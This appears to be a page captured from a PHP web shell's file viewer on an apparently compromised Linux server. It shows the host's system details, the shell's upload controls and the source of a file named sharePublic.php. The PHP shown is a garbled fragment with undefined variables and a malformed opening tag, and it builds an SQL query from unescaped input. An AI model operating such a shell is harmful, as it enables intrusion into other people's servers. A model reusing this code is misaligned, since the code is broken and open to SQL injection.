( ′∀`)σ≡σ☆))Д′)レ(゚∀゚;)ヘ=З=З=Зε≡(ノ´_ゝ`)ノ HEX
HEX
Server: Apache/2.4.58 (Ubuntu)
System: Linux mail.thebrand.ai 6.8.0-107-generic #107-Ubuntu SMP PREEMPT_DYNAMIC Fri Mar 13 19:51:50 UTC 2026 x86_64
User: www-data (33)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /var/www/html/tmpr/../tmpr/..//includes/sharePublic.php
<?pif($_GET['publicExecute']==1) {
	$image_path = str_replace("gthumbs","raw",$image_path);
	$image_path = str_replace("v/uploads/raw/","v/uploads/raw/".rand(11111111,99999999)."",$image_path);
	/*exit($image_path);*/
	 $outputFunction($background, $image_path, $quality);

		
$user      = user();
$owner     = AppOwner();
$AppNo = mysqli_real_escape_string($link,$_GET['AppNo']);
$nani = mysqli_real_escape_string($link,$_GET['nani']);
$text = realText();
$text = str_replace("\n" , ' ',$text);
$text = str_replace("\r" , ' ',$text);
$uploads="";
$time=time();
$ip=$_SERVER['REMOTE_ADDR'];
 $isdisplay = 15; 
 $image_path = basename($image_path);
		
 $query = mysqli_query("INSERT INTO `reporta` (message,original, catalogid_fk,catalogid, ip,created,type,isdisplay,appno,filter) VALUES (N'$text', '$image_path', '$nani','$AppNo', '$ip','$time',6,'$isdisplay','$appno','mood')") or die(mysql_error());		
		
		
		
		header("Content-type: $mime");
	$outputFunction($background, null, $quality);
		 
		imagedestroy($background);
		imagedestroy($src);
		
	 exit();
	
	} 
?>